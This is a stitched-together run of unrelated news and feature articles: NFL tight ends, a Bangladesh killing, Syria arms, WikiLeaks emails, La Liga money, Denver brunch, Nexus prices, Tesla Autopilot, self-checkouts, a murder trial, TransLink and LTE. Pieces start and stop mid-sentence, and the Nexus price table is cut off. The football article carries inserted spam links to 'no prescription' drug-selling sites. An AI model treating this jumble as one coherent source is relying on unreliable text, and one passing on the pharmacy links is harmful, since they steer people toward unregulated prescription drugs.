the practice field at Training Camp last year. Given that the team released LB Adam Hayward on Friday, another noted Special Teams leader, this can only bode well for Paul’s chances as well. All of this isn’t to sell short Paul’s talents as a receiver, either. And although he may not be an elite weapon like Reed (few are, to be fair), he posted a respectable 39 receptions for 507 yards in 2014; the first year he was really involved in the game plan. Considering that he was named the starter over Reed last year, that he is a veteran on the team and a locker-room leader, a special teams standout, and a versatile contributor, it stands to reason that Niles Paul would be the Tight End who sees the most playing time behind Jordan Reed this year. And yet… Vernon Davis brings a different set of talents to the Redskins this season, fresh off of his Super Bowl victory with the Denver Broncos. At age 32, this is almost certainly Davis’ last ride in the big show, but the veteran believes he still has plenty to offer. Some saw his lack of production in the passing game in Denver as confirmation that he was on the decline, but Davis explained that as the difficulties in being traded mid-season and being asked to learn a vastly different playbook in a short amount of time. Vernon Davis (bottom of screen) sets and maintains a strong downfield block leading to a 34 yard rush in the Super Bowl Although he wasn’t a huge factor in the pass game for Denver in his short stint there, he quickly established himself as a run blocker, and it is precisely his elite run block skills that the Redskins coaches will be hoping to utilize in 2016 as the team continues to develop a run game that had it’s fair share of struggles last season. Working in Davis favor is the fact that he’s also the largest of the three Tight Ends that the Redskins are likely to carry on their roster in 2016; Reed is 6’2, Paul is 6’1, and yet Davis plays to every inch of his 6’3, 246lb frame. At his peak, Davis had an innate ability to outbody defending Linebackers, Safeties or Corners, and if he can come close to recapturing some of the explosiveness, he will form an intimidating duo with Jordan Reed. The Wildcard Similar to the Left Guard post from earlier this week, it seems that the Tight End who will be the biggest contributor behind Jordan Reed this year will be one of the aforementioned Paul or Davis. The wildcard in this discussion, however, is Derek Carrier. At 26 years of age, Carrier brings raw physicality to the position. He posted an unofficial 4.40 40 yard dash time (and an official 4.50 at his pro day), and his agility in drills such as the three-cone and 20 yard shuttle were impressive to boot. Carrier has yet to translate that physical prowess to the field consistently as an NFL-level Tight End, and to make the task more difficult for him, he’s recovering from a serious knee injury suffered late last season and isn’t anticipated to be fully healthy by the start of Training Camp. What does work in his favor though is the fact that Redskins General Manager Scot McCloughan has huge wraps on him, and that has to count for something The Predicted Battle Winner With Jordan Reed taking the majority of the attention given to the Tight End position (and deservedly so), it will be fascinating to watch how his team mates behind him perform at camp this year. You have two quality options in Paul and Carrier returning from serious injury, and then you have a veteran free agent in Davis still coming to grips with the playbook. http://rxnoprescriptionrxbuyonline.com/vardenafil.html http://noprescriptionrxbuyonline.com/cialis_soft_tabs.html When all is said and done, it is likely that there will be a fairly even spread of work shared between Paul and Davis if both enter the season healthy and in good form, so the ‘winner’ of this battle may be a ceremonial victory at best. Regardless, we are predicting that it will be Niles Paul returning to stake his claim as one of the two top Tight Ends on the Redskins roster again in 2016. http://rxbuyonlinewithoutprescriptionrx.net/valtrex.html http://buywithoutprescriptiononlinerx.net/clomid.html Comments comments Powered by Facebook CommentsThe Bangladeshi branch of Al Qaeda claimed responsibility Tuesday for the killing of a gay rights activist and his friend, undermining the prime minister's insistence just hours earlier that her political opponents were to blame for the attack and for a rising tide of violence against secular activists and writers. The claim by Ansar-al-islam — which said it targeted the two men on Monday night because they were "pioneers of practicing and promoting homosexuality" — raised doubts about Prime Minister Sheikh Hasina's repeated assurances that authorities have the security situation under control. The victims of the attack were identified as Xulhaz Mannan, an activist who also worked for the U.S. Agency for International Development, and his friend, theater actor Tanay Majumder. Mannan, a cousin of former Foreign Minister Dipu Moni of the governing party, was also an editor of Bangladesh's first gay rights magazine, Roopbaan. Majumder sometimes helped with the publishing, local media said. At a funeral for Mannan on Tuesday, his brother said free speech was something Islam should protect. "A true Muslim will always consider that he has freedom of expression," Minhaz Mannan Emon said. "We should respect that opinion. We hope... particularly I, on behalf of the family, hope that no other family loses their child or brother like us in the future." Mannan had written openly about the frustration of living "in the closet" as a gay man in Bangladesh, where homosexual relations are considered a crime. In a May 2014 blog, he said gays and lesbians in Bangladesh experience "A country where the predominant religions say you are a sinner, the law of the land says you are a criminal, the social norms say you are a pervert, the culture considers you as imported." He launched the magazine in 2014, giving the country's small and secretive lesbian, gay, bisexual and transgender community its first open platform. Earlier this month, he tried to organize a Rainbow Rally in the capital, but was foiled when police briefly detained him and three others. Ansar-al Islam, the Bangladeshi branch of Al Qaeda on the Indian subcontinent, or AQIS, claimed responsibility in a Twitter message on Tuesday for what it called a "blessed attack" on Mannan and Majumder. It said the two were killed because they were "pioneers of practicing and promoting homosexuality in Bangladesh" and were "working day and night to promote homosexuality... with the help of their masters, the U.S. crusaders and its Indian allies." Just hours before the claim of responsibility, the prime minister had pointed the finger at her political opponents, the fundamentalist Jamaat-e-Islami group and its ally, the opposition Bangladesh Nationalist Party. "Everybody knows who are behind these killings," Hasina told policymakers in her secular Awami League party Monday night, repeating her government's allegation that the opposition was orchestrating the attacks. "The BNP-Jamaat clique has been involved in such secret and heinous murders to destabilize the country." The opposition denies the allegations, saying they are being scapegoated for Hasina's failure to maintain security and placate the country's desire for Islamic rule. Police said no arrests have yet been made in connection with Monday's attack, which involved at least five young men who posed as courier service employees to gain access to Mannan's apartment building. A security guard working at the building said he was injured when one of the attackers hit him with a knife while fleeing. Crime scene investigators recovered a mobile phone and bag apparently left by the attackers. The national police chief, A.K.M. Shahidul Hoque, expressed confidence the attackers would be caught and acknowledged there were similarities in how the killings were being carried out. He said authorities were making progress in cracking down on radicals' hideouts and weapons caches. "We are investigating all the cases very seriously," Hoque said. "Many arrests have been made involving previous killings, we have busted their dens for making bombs." Security analysts warned that the government could lose the people's trust if it does not act quickly to curb the attacks. "It is high time to set up special tribunals to handle these cases," suggested retired Maj. Gen. Abdur Rashid. "It has to be dealt with more seriously and with a clearer and quicker process.... There has been a lack of confidence among people about the investigation and justice system. We must fix these issues immediately." U.S. Secretary of State John Kerry condemned the "barbaric" murders in a statement. Earlier this month, the U.S. said it was considering granting refuge to a select number of secular bloggers in Bangladesh facing imminent danger. State Department spokesman John Kirby said Monday that remained an option. He described Mannan as a "beloved member of our embassy family and a courageous advocate" for gay rights, and pledged U.S. support to Bangladeshi authorities "to ensure that the cowards who did this are held accountable."LONDON Britain's Foreign Secretary says the U.K. government has discussed whether a European Union arms embargo on Syria could be lifted to allow nations to supply weapons to the country's opposition. William Hague told BBC radio on Friday that Britain plans talks with other EU nations on the issue. It is likely to be discussed at a meeting of European foreign ministers on Monday. "We will discuss with our European partners the future of the arms embargo. We have made no decision to change that so far," Hague said. Hague was meeting later with Mouaz al-Khatib, head of the new Syrian National Coalition for Opposition and Revolutionary Forces and other opposition officials. He said Britain is likely to soon offer the group formal recognition, as France has done already. France first raised the possibility on Thursday of sending "defensive weapons" to Syria's rebels, but Russia warned that such a move would violate international law. French Foreign Minister Laurent Fabius said his country would also ask the EU to consider lifting the arms embargo -- which prevents weapons from being sent to either side.The former director of policy planning for the U.S. State Department wrote that sending “sensitive” content to private email accounts was the norm under Secretary Clinton, emails published by WikiLeaks reveal. Anne-Marie Slaughter, who served at the department from January 2009 until February 2011, stated “off the record” to New York Times columnist Thomas L. Friedman that “EVERYONE at State” used private email for government-related business. Ex-State Department Employee: Sending ‘Sensitive’ Info to Private Email Was Norm Under Clinton https://t.co/wUiHMJkk5H pic.twitter.com/B1M6q1RGgf — Mikael Thalen (@MikaelThalen) October 26, 2016 “Honestly, OTR, EVERYONE I knew at State used our private email (I used Princeton) when we were out of the office…” Slaughter wrote. Explaining her disdain for the department’s “incredibly clunky and difficult” BlackBerry phones, Slaughter admitted that “sensitive” documents were often sent from the State Department to employee’s personal emails. “We sent sensitive but unclassified documents to our private emails so we could work on them at home and then sent them back to our work emails,” she said. Slaughter also recalled that keeping “politically sensitive” information out of emails was a higher priority than protecting sensitive government documents. “Moreover, the overall lesson that everyone had taken away from the Clinton administration was not to put ANYTHING politically sensitive on email period, regardless of the system,” she wrote. “I remember getting called on that early on — someone assumed I was putting something in email so that if it came out in the press later I would look good — a consideration that had simply never occurred to me.” Public employees using personal email accounts to conduct government business has long been an issue. Former Secretary of State Colin Powell used personal email during his time at the State Department as well. The comments were uncovered Wednesday in WikiLeaks’ 19th release of Clinton campaign chairman John Podesta’s emails. This latest batch brings the total number of published Podesta emails up to 33,042.Money, as we all know, does not always get you what you want, but in the words of that larger than life American entertainer, Sophie Tucker, “I’ve been rich and I’ve been poor - rich is better.” Finally, and not before time, Spain’s highest level of professional football - for the time being because of commercial reasons to be referred to as La Liga Santander - has gone some way to redressing the insiduous obscenity that for years kept Real Madrid and Barcelona dining on acorn fed ham while most of the rest had to make do with pigs’ ears. Of course not all the of the clubs were prepared to cut their coat according to the cloth, and in an attempt to compete, took on board the philosophy of the 19th centruy humourist, Josh Billings who advised that you should “Always live within your income, even if you have to borrow money to do so.” Scroll to continue with content Ad Unfortunately, more often than not, that money was ‘borrowed’ from Spain’s equivalent of HMRC, an organisation - whatever country it may be in - with a very long memory and the rather irritating habit of asking for its money back (I am joking of course). For some clubs this wasn’t an insurmountable problem. First of all, ignore all brown envelopes, secondly, stop paying your suppliers, your banks, your players, in fact just about everyone, and then pray; something will turn up; God will provide. And sure enough something, or rather someone, did turn up; the taxman. Latterly in La Liga, hope would comes breezing in through the boardroom door while simultaneously, common sense would go flying out of the window. Rough, tough, astute businessman would, with tears in their eyes, take over the club of their dreams and set about proving that while they were capable of running a business empire, in football terms they couldn’t run a bath. Story continues There were of course exceptions, most notably Villarreal where the strong stewardship of Fernado Roig helped maintain an even keel even after they were relegated, and Sevilla, where the genius that is Monchi showed everyone how to do it by employing the old and trusted system of 'buy cheap-sell dear’ to maximum effect. But by and large, appalling mismanagement and a head in the sand approach swiftly brought the vast majority of clubs to their knees. Now finally La Liga has been dragged kicking and screaming into something resembling the real world. You would have liked to think it happened because of a new enlightened, philantropic set of ideals permeating the organisation; the triumph of a battle for fair play and common justice. You would have hoped that it came about because the consciences of those at the top had been pricked; that the people in the know said this is wrong, things must change, enough is enough. But of course you’d be wrong. It was left to government to legislate on an iniquity that the league itself was unable - no, unwilling - to confront. It was left to the legislators to drag the league by its ear through the legislative process saying, “If you can’t sort this out, then we will.” So that’s it, is it? Sorted? Done and dusted? I’m afraid not, because while the disparity between top and bottom in La Liga has been reduced, it is still huge. Top clubs also, not unnaturally, are able to negotiate for themselves the best shirt and sponsorship deals and so the gap grows ever wider. More importantly the financial gulf between La Liga Santander and the new Premier League is vast and growing. The increase in funding for Spanish clubs coincides with the new massive deal organised by the Premier League that will see television pay £5.136 billion (let me write that out for you so you get a better idea - £5,136,000,000) to show live football between 2016 and 2019; or put another way Sky will be paying an average of £10.8 million pounds per game and BT around £7.6m. This season, according to the BBC, the side that finishes bottom of the Premier League will walk away with a cool £99m. According to predictions from Diario AS, in Spain under the new system of distribution (calculating the euro at 1.15 to the £) that is more than every single Spanish club apart from - you’ve guessed it - Real Madrid and Barcelona. Last season before the huge increase that has come in this time around, Aston Villa 'earned’ £66,662,215 despite finishing bottom after a lamentable campaign. That is more than every club in La Liga will earn this season under the new package apart from Barcelona, Real Madrid and Atletico. But the good news is that Spanish clubs will indeed earn more money than before and the person most relieved to hear that will be the taxman who can probably guarantee that he will now be paid. Similarly players and club suppliers can probably look forward to being paid now, but it is not all good news especially for the top Spanish clubs. For the first time I can remember, top players are turning down the chance to join the really big Spanish clubs, most notably Real Madrid and Barcelona. Let’s not mince our words here; Real Madrid wanted Paul Pogba to join them from Juventus, so much, it almost hurt. In the end they were blown out of the water by a Manchester United side prepared to offer so much more at every level of the negotiation, a club who trumped them every step of the way. The sniffy stance taken by Real Madrid that this was 'crazy’ money and something they were going to walk away from suggests that what we have here is a club and a President that has never done deals that involved 'crazy’ money. Stuff and nonsense. The fact is they couldn’t compete with United. Period. Little wonder that Zinadine Zidane is talking up the return of Alvaro Morata - who quite honestly would probably pay to play for the club - and Marco Asensio, back from a loan spell at Espanyol. For the first time also players are turning down the chance to join Barcelona and not just for the loadsamoney Premier League. Paco Alcácer has decided not to join the Catalan club because Valencia, after a deal was broken between Valencia owner, Peter Lim and Barcelona president Josep Maria Bartomeu, changed their mind scared of the consequences of dealing with fans that smell a rat in what is going on at the club. Luciano Vietto also turned down the chance to move to Catalonia’s capital probably becasue what he is looking to do is kick start his career once again and he probably - not unreasonably - calculated that he would get more playing time at Sevilla’s Sanchez Pizjuan that at the Camp Nou. Frenchman Kevin Gameiro came to the same conclusion when he opted to join Atletico Madrid in preference to Barcelona while Nolito - the one player that Luis Enrique really wanted - was not prepared to wait until it suited Barcelona bureaucratically to sign him, preferring instead to pledge his future with Pep Guardiola at Manchester City. Meanwhile at Chelsea the wise words spoken by American chat show host, Johnny Carson ring wonderfully true. “The only thing money gives is the freedom of not worrying about money,” he said. Atletico Madrid would have loved to have re-signed Diego Costa from Chelsea. Unfortunately any notions they might have held that the London club were going to let him go at a much lesser price that what they bought him for were swiftly disabused. If Atletico wanted him then they would have to pay MORE than what they sold him for. That in a nutshell is the luxury that having a lot of money can give you. We don’t need it; take it or leave it. What an irony that it is particularly affecting the two clubs that who have for so long stood top of what has so often been that ragamuffin, dishevelled, heap that is the Spanish La Liga Primera Division.There's no doubt that brunch is big in Denver: If you're not sitting at a sunny table mid-morning on a Saturday or Sunday, you're probably one of the many hospitality employees making brunch happen all over town. Once the territory of hotels and breakfast specialists, brunch is now being served at all manner of eateries — from fine-dining destinations to neighborhood bars and grills. For Best of Denver 2106, we gave the Universal, at 2911 West 38th Avenue, our award for Best Brunch, a choice fueled by the restaurant's hearty, Southern-inspired menu. But great eggs Benedict, flapjacks and scrambles can be had every day of the week at the Universal, as they can at many other breakfast joints in town. So rather than rehash the usual suspects, we've put together a list of the ten best restaurants for brunch — places that normally only do dinner (and maybe lunch, too) but now welcome the mimosa-chugging masses on the weekend with brunch menus distinct from their usual dinner slates. Here are the ten best, in alphabetical order. (Watch for our companion list of the best breakfast joints in town.) Continue Reading 10. Bistro Vendôme 1420 Larimer Street 303-825-3232 Saturday and Sunday from 10 a.m. to 2 p.m. We'll bet you didn't know thatthe word "brunch" is French. Well, it is at Bistro Vendôme, where quiche, omelettes and crepes take their rightful place at the weekend ’tweener table, and where the toast is so French it's called pain perdu. Like any good repast that spans the hours between breakfast and lunch, a meal at this Larimer Square bistro comes in sweet and savory forms, with housemade pastries and an hors d'oeuvre board loaded with cured meats, pâtés and rilettes — but you can just call it charcuterie. A flute of bubbles, with or without orange juice, is just the proper accompaniment. Brunch offerings change frequently at Beast + Bottle. Danielle Lirette 9. Beast + Bottle 719 East 17th Avenue 303-623-3223 Saturday and Sunday, from 10 a.m. to 2 p.m. Menus change frequently at Paul and Aileen Reilly's Uptown eatery, so be prepared for something as unique as it is delicious, whether you head over for dinner or brunch. The fig & pig flatbread never goes out of fashion, but if you're in the mood for something a little more breakfasty, try the B + B poutine topped with an egg fried sunny-side up, or a clever Benedict served with whatever's fresh in the kitchen — like a recent arctic char number. And if you're not feeling flush, grab a date and go Dutch, baby, on a big, fluffy Dutch Baby. EXPAND Lamb-shank Benedict at Cafe Marmotte. Courtesy of Cafe Marmotte 8. Cafe Marmotte 290 South Downing Street 303-999-0395 Saturday and Sunday from 10 a.m. to 2 p.m. Cafe Marmotte does French cuisine with New American twists, which is evident in the neighborhood cafe's brunch menu as well as in its dinner offerings. So along with a spot-on French omelette with cave-aged Gruyère, a classic croque madame and eggs Benedict with silky Hollandaise sauce, there's also a banh mi Benedict and a raw-tuna flatbread with daikon and wasabi cream. And along with standard brunchtime beverages, the bar also serves up a bacon Manhattan and a High Tea cocktail made with Earl Grey-infused gin. Of course, bottomless mimosas are de rigueur. EXPAND Brunch is a lively affair at Dazzle. Lauren Monitz 7. Dazzle 930 Lincoln Street 303-839-5100 Sunday from 9:30 a.m. to 1:30 p.m. A brunch list wouldn't be complete without at least one buffet, and this Golden Triangle jazz club delivers, with bottomless mimosas and Bloody Marys as well as a satisfying spread of sweet and savory goods. Relax to the sound of live jazz as you nosh your way through three food stations, all for $20. Reservations are recommended, as the joint is jumping from the moment the doors swing open. EXPAND Breakfast pupusas at the Hornet. Lauren Monitz 6. The Hornet 76 Broadway 303-777-7676 Friday, Saturday and Sunday from 10 a.m. to 3 p.m. The Hornet has been a favorite Broadway destination since the mid-’90s, with its casual bar and always-lively dining room. Brunch here is no exception, but don't expect standard eggs and pancakes; instead, the Hornet turns out weekend treats with international flair. Pupusas rancheros and breakfast tacos share space with more traditional Denver breakfast dishes, as well as the popular Dixie Chicken — but be sure to save room for the housemade pop tarts. And if you can't wait for the weekend, hit the Hornet on Friday morning for an early start to a three-day weekend of brunching. Keep reading for five more of the best Denver restaurant for brunch... EXPAND Horchata pancakes at Lola. Westword file photo. 5. Lola 1575 Boulder Street 720-570-8686 Saturday and Sunday from 10 a.m. to 2 p.m. Chicken-fried steak at a Mexican fish house? That's been a delicious brunch mainstay at Lola for years. You'll also find an amazing hamburguesa (get it with an egg and bacon on top), as well as chicken and waffles and more traditional breakfast dishes. And, yes, there's seafood, too, including trout hash and an assortment of ceviche coming from the raw bar. Come early and plan to stay for a while; the deck is a perfect place to while away a sunny summer afternoon and listen to the city's Best Sunday-Afternoon Shows. EXPAND Brunch at Old Major is the perfect hangover cure. Danielle Lirette 4. Old Major 3316 Tejon Street 720-420-0622 Saturday and Sunday from 9:30 a.m. to 2 p.m. Old Major's brunch menu, like its p.m. counterpart, is a meat-forward affair, but the kitchen excels at every style of breakfast-to-lunch dish. So guests can't go wrong with a breakfast pork burger piled high with bacon and a fried egg or a platter of fried chicken and waffles — but a light and delicious yogurt bowl with pecan granola is just as good. Still, we recommend that you stick with the restaurant's theme and tackle the Butcher's Breakfast — a meal of eggs, bangers, bacon, ham, beans, mushrooms and potatoes that wouldn't be complete without a cup of Novo coffee. EXPAND Postino's expansive patio faces downtown. Mark Antonation 3. Postino LoHi 2715 17th Street 303-433-6363 Saturday and Sunday from 9 a.m. to 2 p.m. How thoughtful: When you snag a seat at Postino at brunch (try for a spot on the patio), you'll find little cards on the table where you can deposit your gum — or write down your number for an attractive nearby diner. But the thoughtfulness doesn't end there: The brunch menu offers a smart array of traditional breakfast dishes as well as salads and sandwiches; ask for the $10.50 "Select Two" special and you can get a half-sandwich and a salad. Another $5 gets you a small pitcher of one of the restaurant's featured beers; there are also plenty of other $5 drink specials. If you can still move after all that, head next door to Recess Beer Garden for an afternoon of fun and games. EXPAND Banana-bread French toast is one of Root Down's more decadent brunch offerings. Lauren Monitz 2. Root Down 1600 West 33rd Avenue 303-993-4200 Friday from 11 a.m. to 2 p.m.; Saturday and Sunday from 10 a.m. to 2:30 p.m. Something feels healthy about brunch at Root Down, even when you're making your way through a plate of banana-bread French toast or some ramen deviled eggs. Like all of chef/owner Justin Cucci's menus, brunch here focuses on fresh, local ingredients with options for all manner of dietary needs and desires. So you can go hog wild for a pulled-pork omelette or keep it meatless with a masala tofu scramble. Big appetites will gravitate toward a hefty breakfast burrito, but there's also the Root Down Benedict, built on quinoa cakes instead of English muffins. No matter what you choose, bottomless mimosas and house breakfast cocktails beckon from the bar. Brunch at Sarto's is like a mini-vacation. Danielle Lirette 1. Sarto's 2900 West 25th Avenue 303-455-1400 Saturday and Sunday from 10 a.m. to 5 p.m. Italian brunch in the cool and airy dining room at Sarto's will leave you feeling sophisticated and satisfied. Start with bellinis or mimosas — both bottomless — and choose from duck-yolk ravioli or shrimp and polenta (no simple grits here), then finish with a pear tartlet or pillowy bombolini (that's a doughnut hole to you). Spritzes and Prosecco cocktails star on the drinks list, adding brightness and bubbles to the feast. You won't want to leave this Jefferson Park gem, where brunch feels like a weekend away at a villa on Lake Como.John Dowd, an attorney for President Donald Trump, is claiming that he wrote the president’s tweet on Saturday in which he said he fired ex-national security adviser Michael Flynn for lying to Vice President Mike Pence and to the FBI. “He has pled guilty to those lies. It is a shame because his actions during the transition were lawful. There was nothing to hide!” Trump wrote in part of Flynn, who has pleaded guilty to lying to the FBI as part of special counsel Robert Mueller’s investigation. Dowd told ABC News that he wrote the tweet and that it was “sloppy.” Trump’s claim about knowing Flynn had lied to the FBI in particular set off alarm bells, as it could be used as evidence in an obstruction of justice case against Trump.Buying a smartphone free of a contract can often be very expensive and sometimes, the location you’re buying it in can result in you paying even more for that handset. A couple of days ago, Google announced its new Nexus handsets and with it, brought a key issue to the forefront of the market; the price. If you’re buying your new Nexus in Europe or the UK, you may end up paying over 40% more for the same handset than those buying in the US, but why is tech more expensive in the UK and Europe versus the same prices in the USA? The Nexus pricing To add some context to this topic, let’s take a look at the pricing for Google’s new Nexus 5X and Nexus 6P in the USA and how it compares to selected European countries (you can sort this table and it will display according to the US equivalent price). (Data originally compiled by Android Police): Region Nexus 5X 16GB Nexus 5X 32GB Nexus 6P 32GB Nexus 6P 64GB Nexus 6P 128GB United States (USD) $379 $429 $499 $549 $649 Eurozone (EUR) excluding Italy $535 (€479) +41% $591 (€529) +38% $724 (€649) +45% $780 (€699) +42% $892 (€799) +37% Italy (EUR) $535 (€479) +41% $591 (€529) +38% $780 (€699) +56% $836 (€749) +52% $948 (€849) +46% Denmark (DKK) $537 (kr.3590) +42% $596
towards our goal of a coast-to-coast drive with no one touching the controls.” Earlier this year, we reported that Tesla introduced a new Autopilot hardware suite, dubbed “2.5”, in all its vehicles to enable more computer power and redundancy for its future self-driving capability. It sounds like they are now managing to make their vision neural net work on the onboard computing power. The teasing of upcoming “additional functionality over the next several months” echoes what Tesla President Jon McNeill said a few weeks ago. The automaker also noted improvements in recent software updates: “We continue to update our Autopilot software and recently made significant improvements to the Autosteer function.” We reported last week on the first drives of Tesla’s latest Autopilot software update showing some improvements. The latest two updates were mostly well-received by Tesla Autopilot 2.0 owners. Now to push Autopilot further toward the long-promised fully self-driving capability, Tesla says that it focuses on building a strong AI team: “The Tesla AI team, which is fundamental to achieving full autonomy, strengthened dramatically this year, with a number of the world’s best AI engineers and researchers joining our company. We plan to continue building Tesla AI until it is one of the best teams in the world, not just in automotive, where Tesla is already the leader, but across all industries. This applies to both software and hardware.” Earlier this summer, Tesla hired Andrej Karpathy, a renowned AI researcher, as the new head of AI and Autopilot vision. The timeline for Tesla releasing its fully self-driving capability is not any more clear following Tesla’s update, but it sounds like we now have a very rough timeline of “the next several months” for the release of new ‘Enhanced Autopilot’ features.Self-checkouts in supermarkets are increasing as businesses battle to reduce costs and increase service efficiency. But looking at the numbers, it isn’t clear that self-service is an easy win for businesses. Self-checkouts aren’t necessarily faster than other checkouts and don’t result in lower staff numbers. And there are indirect costs such as theft, reduced customer satisfaction and loyalty. Worldwide, self-checkout terminals are projected to increase from 191,000 in 2013 to 325,000 by 2019. A survey of multiple countries found 90% of respondents had used self-checkouts, with Australia and Italy leading the way. Employment in the Australian supermarket and grocery industry went down for the first time in 2015-16 and is projected to remain flat for a few years. But staff numbers are projected to rebound again, in part due to the need to curtail growing theft at self-checkouts. Social trends pushing self-checkout A couple of intertwining trends explain the rise of self-checkouts. We visit our supermarkets more frequently than ever before, two to three times per week in fact. This means our basket contains fewer items and being able to wander up to a self-checkout, with little to no wait time, has been an expedient way to shop. Most shoppers consider self-checkouts fast and easy to use. This varies, though, with age – 90% of shoppers aged 18-39 found self-service checkouts easy to use, but only 50% of those over 60 said the same. Shoppers also gain value from taking control of the transaction – being able to ring up their own goods and pack them the way they want. A sense of control over their own shopping can lead to greater customer satisfaction and intent to use and re-use self-serve technology. The numbers behind self-checkouts Wages represent around 9.5% of supermarket revenue in Australia, and reducing wages is one of the reasons proposed for the uptake of self-checkout. But from a business perspective, moving from “staffed” checkouts to self-serve machines isn’t cheap. A typical setup costs around US$125,000. On top of that there are the costs of integrating the machines with the technology already in place – the software and other systems used to track inventory and sales – and the ongoing costs of breakdowns and maintenance. But the biggest direct cost to retailers of adopting self-service checkouts is theft. Retail crime in Australia costs the industry over A$4.5 billion each year. There is reason to believe that rates of theft are higher on self-service machines than at regular checkouts. A study of 1 million transactions in the United Kingdom found losses incurred through self-service technology payment systems totalled 3.97% of stock, compared to just 1.47% otherwise. Research shows that one of the drivers of this discrepancy is that everyday customers – those who would not normally steal by any other means – disproportionately steal at self-checkouts. Studies also show that having a human presence around – in this case employees in the self-checkout area – increases the perceived risk of being caught, which reduces “consumer deviance”. This is why retailers have been adding staff to monitor customers, absorbing the additional losses, or passing them on to customers in an “honesty tax”. Making self-checkouts work As you can see in this graph, preliminary work by researchers Kate Letheren and Paula Dootson suggests people are less likely to steal from a human employee than an inanimate object. This is not only because they are more likely to get caught, but because they feel bad about it. On the other hand, consumers have plenty of justifications to excuse self-checkout theft, which is leading to its normalisation. To combat this, Paula Dootson is trying to use design to combat deviance. One of the ways is through extreme personalisation of service to reduce customer anonymity. Anonymity is an undesirable outcome of removing employees and replacing them with technology. Other ideas are to include moral reminders prior to the opportunity to lie or steal (such as simply reminding people to be honest), and to humanise the machines by encoding human characteristics to trigger empathy. While businesses will continue to broadly adopt self-service technologies, particularly within the retail sector, it will be important for retailers to take a holistic approach to implementation and loss prevention. Self-service technology reduces front-line staffing costs and increases efficiency by redistributing displaced staff into other service-dominant areas of the business, but it creates unintended costs. These business costs can be direct, in the form of theft, but also indirect costs, such as reduced customer satisfaction and loyalty. This is something that some supermarkets are focusing on today.Ex-Computer Consultant Convicted In 'Google Murder' Trial The guilty verdict of first-degree murder was won in part on evidence based on Google searches found on Robert Petrick's computer. In a murder trial featuring evidence of Google searches, jurors late Tuesday found former computer consultant Robert Petrick guilty of first-degree murder in the killing of his wife. He will serve a life sentence without possibility of parole. Prosecutors hadn't sought the death penalty. Petrick, who represented himself during the North Carolina trial, is expected to appeal and has requested a court appointed lawyer. Jurors rejected Petrick's attempts to convince them that Google searches for the words "neck," "snap," "break," and "hold," uncovered on his hard drive, were done by another user. Petrick also failed to persuade jurors that all the evidence against him was circumstantial and that prosecutors hadn't proved beyond a reasonable doubt that he killed Janine Sutphen and dumped her body in a Raleigh-area lake. Prosecutors had seized several computers from Petrick's home after Sutphen, a concert cellist, disappeared in January 2003. They used evidence collected from the hard drives to make their case. Internet histories showed that showing someone used Google to search the terms neck, snap break and hold and reviewed a document entitled "22 Ways to Kill a Man With Your Bare Hands." They also said that someone had researched body decomposition and the topography of the lake where Sutphen's body was found. Petrick, who's already in prison on fraud charges, pointed out that the searches weren't linked to a user name and therefore couldn't be pinned on him. He said his wife could have looked up some of the material because she had studied martial arts. He said someone who liked to fish or sail could have looked up the lake information. Investigators said they couldn't find other fishing or sailing-related searches. Several witnesses testified that Petrick had a history of affairs, financial problems and deceit, which prosecutors said could have motivated Petrick to kill. We welcome your comments on this topic on our social media channels, or [contact us directly] with questions about the site.(Second of two) You’re angry. You’re going to vote no in the coming transit plebiscite. You feel TransLink and the mayors council should be taught a lesson in fiscal management. Understandable, if, in my opinion, misguided. Before you vote, consider some history of how we arrived here, where the fault lies in this debate and why, possibly, you might reconsider your viewpoint. The timeline begins 17 years ago. 1998: After several years of lobbying by municipal governments for more control of transit — the most prominent proponent being Vancouver Mayor Gordon Campbell — the regional and provincial governments agree to the creation of TransLink. What was once a Crown corporation will become a regional authority run by a local, elected board. A few months after the agreement to transfer governance to a regional authority has been signed, but before the formal creation of TransLink, Premier Glen Clark arbitrarily announces construction will begin immediately on the Millenium Line using SkyTrain technology. The line will go through NDP territory. The decision flies in the face of local government plans for a cheaper light rapid transit line to Coquitlam, with construction to start in 2002, when the money to build it will be in place. At the time, a senior bureaucrat in the regional government predicts Clark’s insistence on a second SkyTrain line will add another $100 million in annual debt servicing. The estimate is a little high: the over-all premise is bang-on. TransLink moves toward a permanent state of debt. 1999: The creation of TransLink becomes official. With the power to raise taxes, the new TransLink board proposes a $75 vehicle levy to partially cover costs of the new line. 2000: The NDP provincial government approves the vehicle levy proposal. 2001: There is strong push-back from motorists to the levy, and with an election coming and the opposition Liberal party promising to kill the proposed tax, the NDP government reverses its decision and refuses to collect it. The Liberals, which sweep to power, are led by Gordon Campbell, former champion of local transit. Without the levy, TransLink suspends its expansion plans. Fares and the gas tax rise to cover costs. The scramble for revenue sources begins. 2003: Vancouver is awarded the 2010 Winter Olympics. The provincial government proposes the Canada Line as a centrepiece to the Games. 2004: The TransLink board votes to reject the Canada Line, citing, among other reasons, the cost, the increase to its debt load and the provincial government’s promise the Evergreen line would be built first. 2005: After two votes rejecting the Canada Line, the TransLink board gives into intense pressure by Victoria and approves it. But the die is cast. For its stubborness in opposing Victoria’s wishes, TransLink as a locally-run authority is doomed. 2006-07: Transportation Minister Kevin Falcon replaces the board of elected mayors and councillors with an unelected board vetted by the provincial government. 2008: Falcon announces a new $14-billion transit plan for Metro Vancouver. The plan, among other things, calls for a Broadway rapid-transit line, rapid-bus lines, more local buses, a SkyTrain extension in Surrey, construction of perimeter roads to ease trucking congestion, the expansion of the freeway, the twinning of the Port Mann bridge and a new commitment to building the Evergreen Line, though, again, it had to be SkyTrain technology and not the regionally preferred and cheaper light rapid transit. The municipalities complain that they have tapped out property taxes and new sources of revenue have to be found for them to pay for it all. In the following years, except for portions of the plan the provincial government had already committed to and funded, most of Falcon’s plan is shelved and dies a quiet death. 2010-13: TransLink debt deepens. About $100 million in expenses and services are cut from the budget. Gas tax and parking tax are hiked. New streams of revenue, such as sharing the carbon tax and road-pricing, and a renewed call for a car levy, are proposed. All are rejected by the province. 2014: Transport Minister Todd Stone gives the mayors council four months to develop with a 10-year transit plan, complete with funding sources. The province refuses to campaign for a Yes vote. Notice a pattern here? If you’re voting no to punish TransLink and the mayors’ council, I’d suggest your anger is misplaced. pmcmartin@vancouversun.comWi-Fi has become ubiquitous in homes and businesses thanks to the way anyone can set up their own network and start connecting up gadgets. Before long, you may be similarly free to set up your own network to serve nearby smartphones using the high-speed LTE protocol currently exclusive to cellular networks. That would allow your home router or a business like Starbucks to offer fast LTE connections to mobile devices. It could create new competition for conventional cellular networks, giving consumers more ways to get high-speed data and pushing down prices. Internet service providers or other companies could build this new version of LTE into cable boxes or other 